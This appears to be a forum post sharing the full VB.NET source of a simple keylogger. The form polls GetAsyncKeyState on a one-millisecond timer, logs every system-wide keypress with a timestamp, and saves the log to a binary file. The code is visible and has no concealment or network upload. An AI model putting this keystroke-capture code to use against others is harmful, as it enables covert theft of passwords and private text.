SIMPLE KEYLOG

I saw one of these that was MUCH harder. Here is my whole form code, you need a timer with the interval of 1 and enabled, you need a Button called Button1 and text is "SAVE TO FILE", and a Listbox called ListBox1
VB Code:
  1. Imports System.IO
  2.  
  3. Public Class Form1
  4.  
  5.     Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vkey As Integer) As Integer
  6.  
  7.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  8.         Dim Result As Integer
  9.  
  10.         For i = 3 To 255                                  '-- This is Keycode in keyboard
  11.             Result = GetAsyncKeyState(i)
  12.             If Result = -32767 Then                '-- Keyboard pressed
  13.                 ListBox1.Items.Add(i & "," & My.Computer.Clock.LocalTime.Hour & "," & My.Computer.Clock.LocalTime.Minute & "," & My.Computer.Clock.LocalTime.Second & "," & My.Computer.Clock.LocalTime.Millisecond)
  14.  
  15.  
  16.             End If
  17.         Next
  18.  
  19.     End Sub
  20.  
  21.  
  22.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  23.         Using w As New BinaryWriter(File.Create("output.klg"))
  24.             w.Write(Convert.ToChar("K"))
  25.             w.Write(Convert.ToChar("L"))
  26.             w.Write(Convert.ToChar("G"))
  27.             w.Write(Convert.ToByte(0))
  28.             w.Write(Convert.ToInt32(ListBox1.Items.Count))
  29.             For Each item In ListBox1.Items
  30.                 w.Write(Convert.ToByte(item.ToString.Split(",")(0)))
  31.                 w.Write(Convert.ToByte(item.ToString.Split(",")(1)))
  32.                 w.Write(Convert.ToByte(item.ToString.Split(",")(2)))
  33.                 w.Write(Convert.ToByte(item.ToString.Split(",")(3)))
  34.                 w.Write(Convert.ToInt16(item.ToString.Split(",")(4)))
  35.  
  36.             Next
  37.         End Using
  38.     End Sub
  39. End Class